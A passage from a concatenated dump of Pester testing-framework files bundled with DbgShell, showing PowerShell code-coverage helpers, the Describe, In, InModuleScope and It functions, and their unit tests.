param ([System.Management.Automation.Language.Ast] $Command) if (IsIgnoredCommand -Command $Command) { return } $params = @{ Script = $Command.Extent.File Line = $Command.Extent.StartLineNumber Column = $Command.Extent.StartColumnNumber Action = { } } $breakpoint = & $SafeCommands['Set-PSBreakpoint'] @params [pscustomobject] @{ File = $Command.Extent.File Function = Get-ParentFunctionName -Ast $Command Line = $Command.Extent.StartLineNumber Command = Get-CoverageCommandText -Ast $Command Breakpoint = $breakpoint } } function IsIgnoredCommand { param ([System.Management.Automation.Language.Ast] $Command) if (-not $Command.Extent.File) { # This can happen if the script contains "configuration" or any similarly implemented # dynamic keyword. PowerShell modifies the script code and reparses it in memory, leading # to AST elements with no File in their Extent. return $true } if ($PSVersionTable.PSVersion.Major -ge 4) { if ($Command.Extent.Text -eq 'Configuration') { # More DSC voodoo. Calls to "configuration" generate breakpoints, but their HitCount # stays zero (even though they are executed.) For now, ignore them, unless we can come # up with a better solution. return $true } if (IsChildOfHashtableDynamicKeyword -Command $Command) { # The lines inside DSC resource declarations don't trigger their breakpoints when executed, # just like the "configuration" keyword itself. I don't know why, at this point, but just like # configuration, we'll ignore it so it doesn't clutter up the coverage analysis with useless junk. return $true } } if (IsClosingLoopCondition -Command $Command) { # For some reason, the closing expressions of do/while and do/until loops don't trigger their breakpoints. # To avoid useless clutter, we'll ignore those lines as well. return $true } return $false } function IsChildOfHashtableDynamicKeyword { param ([System.Management.Automation.Language.Ast] $Command) for ($ast = $Command.Parent; $null -ne $ast; $ast = $ast.Parent) { if ($PSVersionTable.PSVersion.Major -ge 5) { # The ast behaves differently for DSC resources with version 5+. There's a new DynamicKeywordStatementAst class, # and they no longer are represented by CommandAst objects. if ($ast -is [System.Management.Automation.Language.DynamicKeywordStatementAst] -and $ast.CommandElements[-1] -is [System.Management.Automation.Language.HashtableAst]) { return $true } } else { if ($ast -is [System.Management.Automation.Language.CommandAst] -and $null -ne $ast.DefiningKeyword -and $ast.DefiningKeyword.BodyMode -eq [System.Management.Automation.Language.DynamicKeywordBodyMode]::Hashtable) { return $true } } } return $false } function IsClosingLoopCondition { param ([System.Management.Automation.Language.Ast] $Command) $ast = $Command while ($null -ne $ast.Parent) { if (($ast.Parent -is [System.Management.Automation.Language.DoWhileStatementAst] -or $ast.Parent -is [System.Management.Automation.Language.DoUntilStatementAst]) -and $ast.Parent.Condition -eq $ast) { return $true } $ast = $ast.Parent } return $false } function Get-ParentFunctionName { param ([System.Management.Automation.Language.Ast] $Ast) $parent = $Ast.Parent while ($null -ne $parent -and $parent -isnot [System.Management.Automation.Language.FunctionDefinitionAst]) { $parent = $parent.Parent } if ($null -eq $parent) { return '' } else { return $parent.Name } } function Get-CoverageCommandText { param ([System.Management.Automation.Language.Ast] $Ast) $reportParentExtentTypes = @( [System.Management.Automation.Language.ReturnStatementAst] [System.Management.Automation.Language.ThrowStatementAst] [System.Management.Automation.Language.AssignmentStatementAst] [System.Management.Automation.Language.IfStatementAst] ) $parent = Get-ParentNonPipelineAst -Ast $Ast if ($null -ne $parent) { if ($parent -is [System.Management.Automation.Language.HashtableAst]) { return Get-KeyValuePairText -HashtableAst $parent -ChildAst $Ast } elseif ($reportParentExtentTypes -contains $parent.GetType()) { return $parent.Extent.Text } } return $Ast.Extent.Text } function Get-ParentNonPipelineAst { param ([System.Management.Automation.Language.Ast] $Ast) $parent = $null if ($null -ne $Ast) { $parent = $Ast.Parent } while ($parent -is [System.Management.Automation.Language.PipelineAst]) { $parent = $parent.Parent } return $parent } function Get-KeyValuePairText { param ( [System.Management.Automation.Language.HashtableAst] $HashtableAst, [System.Management.Automation.Language.Ast] $ChildAst ) & $SafeCommands['Set-StrictMode'] -Off foreach ($keyValuePair in $HashtableAst.KeyValuePairs) { if ($keyValuePair.Item2.PipelineElements -contains $ChildAst) { return '{0} = {1}' -f $keyValuePair.Item1.Extent.Text, $keyValuePair.Item2.Extent.Text } } # This shouldn't happen, but just in case, default to the old output of just the expression. return $ChildAst.Extent.Text } function Get-CoverageMissedCommands { param ([object[]] $CommandCoverage) $CommandCoverage | & $SafeCommands['Where-Object'] { $_.Breakpoint.HitCount -eq 0 } } function Get-CoverageHitCommands { param ([object[]] $CommandCoverage) $CommandCoverage | & $SafeCommands['Where-Object'] { $_.Breakpoint.HitCount -gt 0 } } function Get-CoverageReport { param ([object] $PesterState) $totalCommandCount = $PesterState.CommandCoverage.Count $missedCommands = @(Get-CoverageMissedCommands -CommandCoverage $PesterState.CommandCoverage | & $SafeCommands['Select-Object'] File, Line, Function, Command) $hitCommands = @(Get-CoverageHitCommands -CommandCoverage $PesterState.CommandCoverage | & $SafeCommands['Select-Object'] File, Line, Function, Command) $analyzedFiles = @($PesterState.CommandCoverage | & $SafeCommands['Select-Object'] -ExpandProperty File -Unique) $fileCount = $analyzedFiles.Count $executedCommandCount = $totalCommandCount - $missedCommands.Count [pscustomobject] @{ NumberOfCommandsAnalyzed = $totalCommandCount NumberOfFilesAnalyzed = $fileCount NumberOfCommandsExecuted = $executedCommandCount NumberOfCommandsMissed = $missedCommands.Count MissedCommands = $missedCommands HitCommands = $hitCommands AnalyzedFiles = $analyzedFiles } } function Show-CoverageReport { param ([object] $CoverageReport) if ($null -eq $CoverageReport -or $CoverageReport.NumberOfCommandsAnalyzed -eq 0) { return } $totalCommandCount = $CoverageReport.NumberOfCommandsAnalyzed $fileCount = $CoverageReport.NumberOfFilesAnalyzed $executedPercent = ($CoverageReport.NumberOfCommandsExecuted / $CoverageReport.NumberOfCommandsAnalyzed).ToString("P2") $commandPlural = $filePlural = '' if ($totalCommandCount -gt 1) { $commandPlural = 's' } if ($fileCount -gt 1) { $filePlural = 's' } $commonParent = Get-CommonParentPath -Path $CoverageReport.AnalyzedFiles $report = $CoverageReport.MissedCommands | & $SafeCommands['Select-Object'] -Property @( @{ Name = 'File'; Expression = { Get-RelativePath -Path $_.File -RelativeTo $commonParent } } 'Function' 'Line' 'Command' ) Write-Screen '' Write-Screen 'Code coverage report:' Write-Screen "Covered $executedPercent of $totalCommandCount analyzed command$commandPlural in $fileCount file$filePlural." if ($CoverageReport.MissedCommands.Count -gt 0) { Write-Screen '' Write-Screen 'Missed commands:' $report | & $SafeCommands['Format-Table'] -AutoSize | & $SafeCommands['Out-String'] | Write-Screen } } function Get-CommonParentPath { param ([string[]] $Path) $pathsToTest = @( $Path | Normalize-Path | & $SafeCommands['Select-Object'] -Unique ) if ($pathsToTest.Count -gt 0) { $parentPath = & $SafeCommands['Split-Path'] -Path $pathsToTest[0] -Parent while ($parentPath.Length -gt 0) { $nonMatches = $pathsToTest -notmatch "^$([regex]::Escape($parentPath))" if ($nonMatches.Count -eq 0) { return $parentPath } else { $parentPath = & $SafeCommands['Split-Path'] -Path $parentPath -Parent } } } return [string]::Empty } function Get-RelativePath { param ( [string] $Path, [string] $RelativeTo ) return $Path -replace "^$([regex]::Escape("$RelativeTo$([System.IO.Path]::DirectorySeparatorChar)"))?" } function Normalize-Path { [CmdletBinding()] param ( [Parameter(ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true)] [Alias('PSPath', 'FullName')] [string[]] $Path ) # Split-Path and Join-Path will replace any AltDirectorySeparatorChar instances with the DirectorySeparatorChar # (Even if it's not the one that the split / join happens on.) So splitting / rejoining a path will give us # consistent separators for later string comparison. process { if ($null -ne $Path) { foreach ($p in $Path) { $normalizedPath = & $SafeCommands['Split-Path'] $p -Leaf if ($normalizedPath -ne $p) { $parent = & $SafeCommands['Split-Path'] $p -Parent $normalizedPath = & $SafeCommands['Join-Path'] $parent $normalizedPath } $normalizedPath } } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Describe.Tests.ps1 ================================================ Set-StrictMode -Version Latest Describe 'Testing Describe' { It 'Has a non-mandatory fixture parameter which throws the proper error message if missing' { $command = Get-Command Describe -Module Pester $command | Should Not Be $null $parameter = $command.Parameters['Fixture'] $parameter | Should Not Be $null # Some environments (Nano/CoreClr) don't have all the type extensions $attribute = $parameter.Attributes | Where-Object { $_ -is [System.Management.Automation.ParameterAttribute] } $isMandatory = $null -ne $attribute -and $attribute.Mandatory $isMandatory | Should Be $false { Describe Bogus } | Should Throw 'No test script block is provided' } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Describe.ps1 ================================================ function Describe { <# .SYNOPSIS Creates a logical group of tests. .DESCRIPTION Creates a logical group of tests. All Mocks and TestDrive contents defined within a Describe block are scoped to that Describe; they will no longer be present when the Describe block exits. A Describe block may contain any number of Context and It blocks. .PARAMETER Name The name of the test group. This is often an expressive phrase describing the scenario being tested. .PARAMETER Fixture The actual test script. If you are following the AAA pattern (Arrange-Act-Assert), this typically holds the arrange and act sections. The Asserts will also lie in this block but are typically nested each in its own It block. Assertions are typically performed by the Should command within the It blocks. .PARAMETER Tag Optional parameter containing an array of strings. When calling Invoke-Pester, it is possible to specify a -Tag parameter which will only execute Describe blocks containing the same Tag. .EXAMPLE function Add-Numbers($a, $b) { return $a + $b } Describe "Add-Numbers" { It "adds positive numbers" { $sum = Add-Numbers 2 3 $sum | Should Be 5 } It "adds negative numbers" { $sum = Add-Numbers (-2) (-2) $sum | Should Be (-4) } It "adds one negative number to positive number" { $sum = Add-Numbers (-2) 2 $sum | Should Be 0 } It "concatenates strings if given strings" { $sum = Add-Numbers two three $sum | Should Be "twothree" } } .LINK It Context Invoke-Pester about_Should about_Mocking about_TestDrive #> param( [Parameter(Mandatory = $true, Position = 0)] [string] $Name, [Alias('Tags')] [string[]] $Tag=@(), [Parameter(Position = 1)] [ValidateNotNull()] [ScriptBlock] $Fixture = $(Throw "No test script block is provided. (Have you put the open curly brace on the next line?)") ) if ($null -eq (& $SafeCommands['Get-Variable'] -Name Pester -ValueOnly -ErrorAction $script:IgnoreErrorPreference)) { # User has executed a test script directly instead of calling Invoke-Pester $Pester = New-PesterState -Path (& $SafeCommands['Resolve-Path'] .) -TestNameFilter $null -TagFilter @() -SessionState $PSCmdlet.SessionState $script:mockTable = @{} } if($Pester.TestNameFilter-and -not ($Pester.TestNameFilter | & $SafeCommands['Where-Object'] { $Name -like $_ })) { #skip this test return } #TODO add test to test tags functionality if($Pester.TagFilter -and @(& $SafeCommands['Compare-Object'] $Tag $Pester.TagFilter -IncludeEqual -ExcludeDifferent).count -eq 0) {return} if($Pester.ExcludeTagFilter -and @(& $SafeCommands['Compare-Object'] $Tag $Pester.ExcludeTagFilter -IncludeEqual -ExcludeDifferent).count -gt 0) {return} $Pester.EnterDescribe($Name) $Pester.CurrentDescribe | Write-Describe $testDriveAdded = $false try { New-TestDrive $testDriveAdded = $true Add-SetupAndTeardown -ScriptBlock $Fixture Invoke-TestGroupSetupBlocks -Scope $pester.Scope do { $null = & $Fixture } until ($true) } catch { $firstStackTraceLine = $_.InvocationInfo.PositionMessage.Trim() -split '\r?\n' | & $SafeCommands['Select-Object'] -First 1 $Pester.AddTestResult('Error occurred in Describe block', "Failed", $null, $_.Exception.Message, $firstStackTraceLine, $null, $null, $_) $Pester.TestResult[-1] | Write-PesterResult } finally { Invoke-TestGroupTeardownBlocks -Scope $pester.Scope if ($testDriveAdded) { Remove-TestDrive } Clear-SetupAndTeardown Exit-MockScope $Pester.LeaveDescribe() } } function Assert-DescribeInProgress { param ($CommandName) if ($null -eq $Pester -or [string]::IsNullOrEmpty($Pester.CurrentDescribe)) { throw "The $CommandName command may only be used inside a Describe block." } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/GlobalMock-A.Tests.ps1 ================================================ # This script exists to create and mock a global function, then exit. The actual behavior # that we need to test is covered in GlobalMock-B.Tests.ps1, where we make sure that the # global function was properly restored in its scope. $functionName = '01c1a57716fe4005ac1a7bf216f38ad0' if (Test-Path Function:\$functionName) { Remove-Item Function:\$functionName -Force -ErrorAction Stop } function global:01c1a57716fe4005ac1a7bf216f38ad0 { return 'Original Function' } function script:Testing { return 'Script scope' } Describe 'Mocking Global Functions - Part One' { Mock $functionName { return 'Mocked' } It 'Mocks the global function' { & $functionName | Should Be 'Mocked' } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/GlobalMock-B.Tests.ps1 ================================================ # This test depends on some state set up in GlobalMock-A.Tests.ps1. The behavior we're verifying # is that global functions that have been mocked are still properly set up even after the test # script exits its scope. $functionName = '01c1a57716fe4005ac1a7bf216f38ad0' try { Describe 'Mocking Global Functions - Part Two' { It 'Restored the global function properly' { $globalFunctionExists = Test-Path Function:\global:$functionName $globalFunctionExists | Should Be $true & $functionName | Should Be 'Original Function' } } } finally { if (Test-Path Function:\$functionName) { Remove-Item Function:\$functionName -Force } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/In.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "the In statement" { Setup -Dir "test_path" It "executes a command in that directory" { In "$TestDrive" -Execute { "" | Out-File "test_file" } "$TestDrive\test_file" | Should Exist } It "updates the `$pwd variable when executed" { In "$TestDrive\test_path" -Execute { $env:Pester_Test=$pwd } $env:Pester_Test | Should Match "test_path" $env:Pester_Test="" } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/In.ps1 ================================================ function In { <# .SYNOPSIS A convenience function that executes a script from a specified path. .DESCRIPTION Before the script block passed to the execute parameter is invoked, the current location is set to the path specified. Once the script block has been executed, the location will be reset to the location the script was in prior to calling In. .PARAMETER Path The path that the execute block will be executed in. .PARAMETER execute The script to be executed in the path provided. #> param( $path, [ScriptBlock] $execute ) Assert-DescribeInProgress -CommandName In $old_pwd = $pwd & $SafeCommands['Push-Location'] $path $pwd = $path try { & $execute } finally { & $SafeCommands['Pop-Location'] $pwd = $old_pwd } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/InModuleScope.Tests.ps1 ================================================ Set-StrictMode -Version Latest Describe "Module scope separation" { Context "When users define variables with the same name as Pester parameters" { $test = "This is a test." It "does not hide user variables" { $test | Should Be 'This is a test.' } } It "Does not expose Pester implementation details to the SUT" { # Changing the Get-PesterResult function's name would cause this test to pass artificially. # TODO : come up with a better way of verifying that only the desired commands from the Pester # module are visible to the SUT. (Get-Item function:\Get-PesterResult -ErrorAction SilentlyContinue) | Should Be $null } } Describe "Executing test code inside a module" { New-Module -Name TestModule { function InternalFunction { 'I am the internal function' } function PublicFunction { InternalFunction } Export-ModuleMember -Function PublicFunction } | Import-Module -Force It "Cannot call module internal functions, by default" { { InternalFunction } | Should Throw } InModuleScope TestModule { It "Can call module internal functions using InModuleScope" { InternalFunction | Should Be 'I am the internal function' } It "Can mock functions inside the module without using Mock -ModuleName" { Mock InternalFunction { 'I am the mock function.' } InternalFunction | Should Be 'I am the mock function.' } } Remove-Module TestModule -Force } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/InModuleScope.ps1 ================================================ function InModuleScope { <# .SYNOPSIS Allows you to execute parts of a test script within the scope of a PowerShell script module. .DESCRIPTION By injecting some test code into the scope of a PowerShell script module, you can use non-exported functions, aliases and variables inside that module, to perform unit tests on its internal implementation. InModuleScope may be used anywhere inside a Pester script, either inside or outside a Describe block. .PARAMETER ModuleName The name of the module into which the test code should be injected. This module must already be loaded into the current PowerShell session. .PARAMETER ScriptBlock The code to be executed within the script module. .EXAMPLE # The script module: function PublicFunction { # Does something } function PrivateFunction { return $true } Export-ModuleMember -Function PublicFunction # The test script: Import-Module MyModule InModuleScope MyModule { Describe 'Testing MyModule' { It 'Tests the Private function' { PrivateFunction | Should Be $true } } } Normally you would not be able to access "PrivateFunction" from the PowerShell session, because the module only exported "PublicFunction". Using InModuleScope allowed this call to "PrivateFunction" to work successfully. #> [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [string] $ModuleName, [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) if ($null -eq (& $SafeCommands['Get-Variable'] -Name Pester -ValueOnly -ErrorAction $script:IgnoreErrorPreference)) { # User has executed a test script directly instead of calling Invoke-Pester $Pester = New-PesterState -Path (& $SafeCommands['Resolve-Path'] .) -TestNameFilter $null -TagFilter @() -ExcludeTagFilter @() -SessionState $PSCmdlet.SessionState $script:mockTable = @{} } $module = Get-ScriptModule -ModuleName $ModuleName -ErrorAction Stop $originalState = $Pester.SessionState $originalScriptBlockScope = Get-ScriptBlockScope -ScriptBlock $ScriptBlock try { $Pester.SessionState = $module.SessionState Set-ScriptBlockScope -ScriptBlock $ScriptBlock -SessionState $module.SessionState do { & $ScriptBlock } until ($true) } finally { $Pester.SessionState = $originalState Set-ScriptBlockScope -ScriptBlock $ScriptBlock -SessionStateInternal $originalScriptBlockScope } } function Get-ScriptModule { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [string] $ModuleName ) try { $modules = @(& $SafeCommands['Get-Module'] -Name $ModuleName -All -ErrorAction Stop) } catch { throw "No module named '$ModuleName' is currently loaded." } $scriptModules = @($modules | & $SafeCommands['Where-Object'] { $_.ModuleType -eq 'Script' }) if ($scriptModules.Count -gt 1) { throw "Multiple Script modules named '$ModuleName' are currently loaded. Make sure to remove any extra copies of the module from your session before testing." } if ($scriptModules.Count -eq 0) { $actualTypes = @( $modules | & $SafeCommands['Where-Object'] { $_.ModuleType -ne 'Script' } | & $SafeCommands['Select-Object'] -ExpandProperty ModuleType -Unique ) $actualTypes = $actualTypes -join ', ' throw "Module '$ModuleName' is not a Script module. Detected modules of the following types: '$actualTypes'" } return $scriptModules[0] } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/It.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe 'Get-PesterResult' { } Describe 'It - Implementation' { $testState = New-PesterState -Path $TestDrive It 'Throws an error if It is called outside of Describe' { $scriptBlock = { ItImpl -Pester $testState 'Tries to enter a test without entering a Describe first' { } } $scriptBlock | Should Throw 'The It command may only be used inside a Describe block.' } $testState.EnterDescribe('Mocked Describe') # We call EnterTest() directly here because if we actually nest calls to ItImpl, the outer call will catch the error we're trying to # verify with Should Throw. (Another option would be to nest the ItImpl calls, and look for a failed test result in $testState.) $testState.EnterTest('Outer Test') It 'Throws an error if you try to enter It from inside another It' { $scriptBlock = { ItImpl -Pester $testState 'Enters the second It' { } } $scriptBlock | Should Throw 'You already are in It, you cannot enter It twice' } $testState.LeaveTest() It 'Throws an error if you fail to pass in a test block' { $scriptBlock = { ItImpl -Pester $testState 'Some Name' } $scriptBlock | Should Throw 'No test script block is provided. (Have you put the open curly brace on the next line?)' } It 'Does not throw an error if It is called inside a Describe, and adds a successful test result.' { $scriptBlock = { ItImpl -Pester $testState 'Enters an It block inside a Describe' { } } $scriptBlock | Should Not Throw $testState.TestResult[-1].Passed | Should Be $true $testState.TestResult[-1].ParameterizedSuiteName | Should BeNullOrEmpty } It 'Does not throw an error if the -Pending switch is used, and no script block is passed' { $scriptBlock = { ItImpl -Pester $testState 'Some Name' -Pending } $scriptBlock | Should Not Throw } It 'Does not throw an error if the -Skip switch is used, and no script block is passed' { $scriptBlock = { ItImpl -Pester $testState 'Some Name' -Skip } $scriptBlock | Should Not Throw } It 'Does not throw an error if the -Ignore switch is used, and no script block is passed' { $scriptBlock = { ItImpl -Pester $testState 'Some Name' -Ignore } $scriptBlock | Should Not Throw } It 'Creates a pending test for an empty (whitespace and comments only) script block' { $scriptBlock = { # Single-Line comment <# Multi- Line- Comment #> } { ItImpl -Pester $testState 'Some Name' $scriptBlock } | Should Not Throw $testState.TestResult[-1].Result | Should Be 'Pending' } It 'Adds a failed test if the script block throws an exception' { $scriptBlock = { ItImpl -Pester $testState 'Enters an It block inside a Describe' { throw 'I am a failed test' } } $scriptBlock | Should Not Throw $testState.TestResult[-1].Passed | Should Be $false $testState.TestResult[-1].ParameterizedSuiteName | Should BeNullOrEmpty $testState.TestResult[-1].FailureMessage | Should Be 'I am a failed test' } $script:counterNameThatIsReallyUnlikelyToConflictWithAnything = 0 It 'Calls the output script block for each test' { $outputBlock = { $script:counterNameThatIsReallyUnlikelyToConflictWithAnything++ } ItImpl -Pester $testState 'Does something' -OutputScriptBlock $outputBlock { } ItImpl -Pester $testState 'Does something' -OutputScriptBlock $outputBlock { } ItImpl -Pester $testState 'Does something' -OutputScriptBlock $outputBlock { } $script:counterNameThatIsReallyUnlikelyToConflictWithAnything | Should Be 3 } Remove-Variable -Scope Script -Name counterNameThatIsReallyUnlikelyToConflictWithAnything Context 'Parameterized Tests' { # be careful about variable naming here; with InModuleScope Pester, we can create the same types of bugs that the v3 # scope isolation fixed for everyone else. (Naming this variable $testCases gets hidden later by parameters of the # same name in It.) $cases = @( @{ a = 1; b = 1; expectedResult = 2} @{ a = 1; b = 2; expectedResult = 3} @{ a = 5; b = 4; expectedResult = 9} @{ a = 1; b = 1; expectedResult = 'Intentionally failed' } ) $suiteName = 'Adds
and to get . is not a parameter.' ItImpl -Pester $testState -Name $suiteName -TestCases $cases { param ($a, $b, $expectedResult) ($a + $b) | Should Be $expectedResult } It 'Creates test result records with the ParameterizedSuiteName property set' { for ($i = -1; $i -ge -4; $i--) { $testState.TestResult[$i].ParameterizedSuiteName | Should Be $suiteName } } It 'Expands parameters in parameterized test suite names' { for ($i = -1; $i -ge -4; $i--) { $expectedName = "Adds $($cases[$i]['a']) and $($cases[$i]['b']) to get $($cases[$i]['expectedResult']). is not a parameter." $testState.TestResult[$i].Name | Should Be $expectedName } } It 'Logs the proper successes and failures' { $testState.TestResult[-1].Passed | Should Be $false for ($i = -2; $i -ge -4; $i--) { $testState.TestResult[$i].Passed | Should Be $true } } } } Describe 'Get-OrderedParameterDictionary' { $_testScriptBlock = { param ( $1, $c, $0, $z, $a, ${Something.Really/Weird } ) } $hashtable = @{ '1' = 'One' '0' = 'Zero' z = 'Z' a = 'A' c = 'C' 'Something.Really/Weird ' = 'Weird' } $dictionary = Get-OrderedParameterDictionary -ScriptBlock $_testScriptBlock -Dictionary $hashtable It 'Reports keys and values in the same order as the param block' { ($dictionary.Keys -join ',') | Should Be '1,c,0,z,a,Something.Really/Weird ' ($dictionary.Values -join ',') | Should Be 'One,C,Zero,Z,A,Weird' } } Describe 'Remove-Comments' { It 'Removes single line comments' { Remove-Comments -Text 'code #comment' | Should Be 'code ' } It 'Removes multi line comments' { Remove-Comments -Text 'code <#comment comment#> code' | Should Be 'code code' } } } $thisScriptRegex = [regex]::Escape($MyInvocation.MyCommand.Path) Describe 'Get-PesterResult' { $getPesterResult = InModuleScope Pester { ${function:Get-PesterResult} } Context 'failed tests in Tests file' { #the $script scriptblock below is used as a position marker to determine #on which line the test failed. $errorRecord = $null try{'something' | should be 'nothing'}catch{ $errorRecord=$_} ; $script={} $result = & $getPesterResult 0 $errorRecord It 'records the correct stack line number' { $result.Stacktrace | should match "at line: $($script.startPosition.StartLine) in $thisScriptRegex" } It 'records the correct error record' { $result.ErrorRecord -is [System.Management.Automation.ErrorRecord] | Should be $true $result.ErrorRecord.Exception.Message | Should match 'Expected: {nothing}' } } It 'Does not modify the error message from the original exception' { $object = New-Object psobject $message = 'I am an error.' Add-Member -InputObject $object -MemberType ScriptMethod -Name ThrowSomething -Value { throw $message } $errorRecord = $null try { $object.ThrowSomething() } catch { $errorRecord = $_ } $pesterResult = & $getPesterResult 0 $errorRecord $pesterResult.FailureMessage | Should Be $errorRecord.Exception.Message } Context 'failed tests in another file' { $errorRecord = $null $testPath = Join-Path $TestDrive test.ps1 $escapedTestPath = [regex]::Escape($testPath) Set-Content -Path $testPath -Value "`r`n'One' | Should Be 'Two'" try { & $testPath } catch { $errorRecord = $_ } $result = & $getPesterResult 0 $errorRecord It 'records the correct stack line number' { $result.Stacktrace | should match "at line: 2 in $escapedTestPath" } It 'records the correct error record' { $result.ErrorRecord -is [System.Management.Automation.ErrorRecord] | Should be $true $result.ErrorRecord.Exception.Message | Should match 'Expected: {Two}' } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/It.ps1 ================================================ function It { <# .SYNOPSIS Validates the results of a test inside of a Describe block. .DESCRIPTION The It command is intended to be used inside of a Describe or Context Block. If you are familiar with the AAA pattern (Arrange-Act-Assert), the body of the It block is the appropriate location for an assert. The convention is to assert a single expectation for each It block. The code inside of the It block should throw a terminating error if the expectation of the test is not met and thus cause the test to fail. The name of the It block should expressively state the expectation of the test. In addition to using your own logic to test expectations and throw exceptions, you may also use Pester's Should command to perform assertions in plain language. .PARAMETER Name An expressive phrase describing the expected test outcome. .PARAMETER Test The script block that should throw an exception if the expectation of the test is not met.If you are following the AAA pattern (Arrange-Act-Assert), this typically holds the Assert. .PARAMETER Pending Use this parameter to explicitly mark the test as work-in-progress/not implemented/pending when you need to distinguish a test that fails because it is not finished yet from a tests that fail as a result of changes being made in the code base. An empty test, that is a test that contains nothing except whitespace or comments is marked as Pending by default. .PARAMETER Skip Use this parameter to explicitly mark the test to be skipped. This is preferable to temporarily commenting out a test, because the test remains listed in the output. Use the Strict parameter of Invoke-Pester to force all skipped tests to fail. .PARAMETER TestCases Optional array of hashtable (or any IDictionary) objects. If this parameter is used, Pester will call the test script block once for each table in the TestCases array, splatting the dictionary to the test script block as input. If you want the name of the test to appear differently for each test case, you can embed tokens into the Name parameter with the syntax 'Adds numbers and ' (assuming you have keys named A and B in your TestCases hashtables.) .EXAMPLE function Add-Numbers($a, $b) { return $a + $b } Describe "Add-Numbers" { It "adds positive numbers" { $sum = Add-Numbers 2 3 $sum | Should Be 5 } It "adds negative numbers" { $sum = Add-Numbers (-2) (-2) $sum | Should Be (-4) } It "adds one negative number to positive number" { $sum = Add-Numbers (-2) 2 $sum | Should Be 0 } It "concatenates strings if given strings" { $sum = Add-Numbers two three $sum | Should Be "twothree" } } .EXAMPLE function Add-Numbers($a, $b) { return $a + $b } Describe "Add-Numbers" { $testCases = @( @{ a = 2; b = 3; expectedResult = 5 } @{ a = -2; b = -2; expectedResult = -4 } @{ a = -2; b = 2; expectedResult = 0 } @{ a = 'two'; b = 'three'; expectedResult = 'twothree' } ) It 'Correctly adds and to get ' -TestCases $testCases { param ($a, $b, $expectedResult) $sum = Add-Numbers $a $b $sum | Should Be $expectedResult } } .LINK Describe Context about_should #> [CmdletBinding(DefaultParameterSetName = 'Normal')] param( [Parameter(Mandatory = $true, Position = 0)] [string]$name, [Parameter(Position = 1)] [ScriptBlock] $test = {}, [System.Collections.IDictionary[]] $TestCases, [Parameter(ParameterSetName = 'Pending')] [Switch] $Pending, [Parameter(ParameterSetName = 'Skip')] [Alias('Ignore')] [Switch] $Skip ) ItImpl -Pester $pester -OutputScriptBlock ${function:Write-PesterResult} @PSBoundParameters } function ItImpl { [CmdletBinding(DefaultParameterSetName = 'Normal')] param( [Parameter(Mandatory = $true, Position=0)] [string]$name, [Parameter(Position = 1)] [ScriptBlock] $test, [System.Collections.IDictionary[]] $TestCases, [Parameter(ParameterSetName = 'Pending')] [Switch] $Pending, [Parameter(ParameterSetName = 'Skip')] [Alias('Ignore')] [Switch] $Skip, $Pester, [scriptblock] $OutputScriptBlock ) Assert-DescribeInProgress -CommandName It # Jumping through hoops to make strict mode happy. if ($PSCmdlet.ParameterSetName -ne 'Skip') { $Skip = $false } if ($PSCmdlet.ParameterSetName -ne 'Pending') { $Pending = $false } #unless Skip or Pending is specified you must specify a ScriptBlock to the Test parameter if (-not ($PSBoundParameters.ContainsKey('test') -or $Skip -or $Pending)) { throw 'No test script block is provided. (Have you put the open curly brace on the next line?)' } #the function is called with Pending or Skipped set the script block if needed if ($null -eq $test) { $test = {} } #mark empty Its as Pending #[String]::IsNullOrWhitespace is not available in .NET version used with PowerShell 2 if ($PSCmdlet.ParameterSetName -eq 'Normal' -and [String]::IsNullOrEmpty((Remove-Comments $test.ToString()) -replace "\s")) { $Pending = $true } $pendingSkip = @{} if ($PSCmdlet.ParameterSetName -eq 'Skip') { $pendingSkip['Skip'] = $Skip } else { $pendingSkip['Pending'] = $Pending } if ($null -ne $TestCases -and $TestCases.Count -gt 0) { foreach ($testCase in $TestCases) { $expandedName = [regex]::Replace($name, '<([^>]+)>', { $capture = $args[0].Groups[1].Value if ($testCase.Contains($capture)) { $testCase[$capture] } else { "<$capture>" } }) $splat = @{ Name = $expandedName Scriptblock = $test Parameters = $testCase ParameterizedSuiteName = $name OutputScriptBlock = $OutputScriptBlock } Invoke-Test @splat @pendingSkip } } else { Invoke-Test -Name $name -ScriptBlock $test @pendingSkip -OutputScriptBlock $OutputScriptBlock } } function Invoke-Test { [CmdletBinding(DefaultParameterSetName = 'Normal')] param ( [Parameter(Mandatory = $true)] [string] $Name, [Parameter(Mandatory = $true)] [ScriptBlock] $ScriptBlock, [scriptblock] $OutputScriptBlock, [System.Collections.IDictionary] $Parameters, [string] $ParameterizedSuiteName, [Parameter(ParameterSetName = 'Pending')] [Switch] $Pending, [Parameter(ParameterSetName = 'Skip')] [Alias('Ignore')] [Switch] $Skip ) if ($null -eq $Parameters) { $Parameters = @{} } $Pester.EnterTest($Name) try { if ($Skip) { $Pester.AddTestResult($Name, "Skipped", $null) } elseif ($Pending) { $Pester.AddTestResult($Name, "Pending", $null) } else { & $SafeCommands['Write-Progress'] -Activity "Running test '$Name'" -Status Processing $errorRecord = $null try { Invoke-TestCaseSetupBlocks do { $null = & $ScriptBlock @Parameters } until ($true) } catch { $errorRecord = $_ } finally { #guarantee that the teardown action will run and prevent it from failing the whole suite try { if (-not ($Skip -or $Pending)) { Invoke-TestCaseTeardownBlocks } } catch { $errorRecord = $_ } } $result = Get-PesterResult -ErrorRecord $errorRecord $orderedParameters = Get-OrderedParameterDictionary -ScriptBlock $ScriptBlock -Dictionary $Parameters $Pester.AddTestResult( $result.name, $result.Result, $null, $result.FailureMessage, $result.StackTrace, $ParameterizedSuiteName, $orderedParameters, $result.ErrorRecord ) & $SafeCommands['Write-Progress'] -Activity 